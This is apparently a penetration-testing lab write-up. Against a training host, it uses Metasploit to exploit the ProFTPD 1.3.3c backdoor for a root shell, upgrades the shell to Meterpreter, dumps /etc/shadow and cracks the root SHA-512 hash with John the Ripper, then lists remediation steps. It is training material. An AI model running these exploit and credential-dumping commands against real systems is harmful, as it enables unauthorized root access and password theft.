2025-11-06 / Log: password_cracker_linux

Password Cracker: Linux

Password Cracker: Linux

Classification: Host & Network Penetration Testing / System & Host-Based Attacks
Target: demo.ine.local (192.119.60.3) — Unix, ProFTPD 1.3.3c
Attacker: 192.119.60.2 (Kali)
Objective: Run auxiliary/analyze/crack_linux against the target and recover the root password.

1. Executive Summary

The target runs ProFTPD 1.3.3c, which ships a known backdoor. Exploiting it yields a root shell, which we upgrade to a Meterpreter session. The hashdump post module dumps the /etc/shadow hashes into the MSF database, and the crack_linux auxiliary module (which drives John the Ripper) cracks the root SHA-512 hash in seconds.

2. Recon

ping -c 4 demo.ine.local
nmap -sV 192.119.60.3

Ping target

Only FTP is open — ProFTPD 1.3.3c on port 21.

nmap — ProFTPD 1.3.3c

3. Exploiting the ProFTPD Backdoor

Setting global variables and locating the module.

MSF global variables

search proftpd
use exploit/unix/ftp/proftpd_133c_backdoor

search proftpd

Selecting proftpd_133c_backdoor

exploit

The backdoor returns a root command shell.

Backdoor exploited — root shell

4. Upgrading to Meterpreter

Backgrounding the shell and upgrading it with shell_to_meterpreter.

background
sessions -u 1
sessions 2

Upgrading session to Meterpreter

Meterpreter session as root

5. Dumping Hashes

Reading /etc/shadow shows the root SHA-512 hash.

cat /etc/shadow

/etc/shadow — root SHA-512 hash

Using the hashdump post module to load the hashes into the database.

use post/linux/gather/hashdump
set SESSION 2
run

hashdump — unshadowed hashes in loot

6. Cracking with crack_linux

use auxiliary/analyze/crack_linux
set SHA512 true
run

John cracks the root hash in single mode.

Username: root   Cracked Password: password   (sha512crypt)

crack_linux — root:password cracked

Flag (root password): password

7. Remediation Recommendations

  1. Upgrade ProFTPD off the backdoored 1.3.3c build and only install packages from trusted sources (verify checksums/signatures).
  2. Enforce strong password policies — the root hash fell instantly to a dictionary.
  3. Use SHA-512 with a strong, unique password and consider key-based access only.
  4. Restrict FTP exposure and monitor for the backdoor’s telltale HELP command pattern.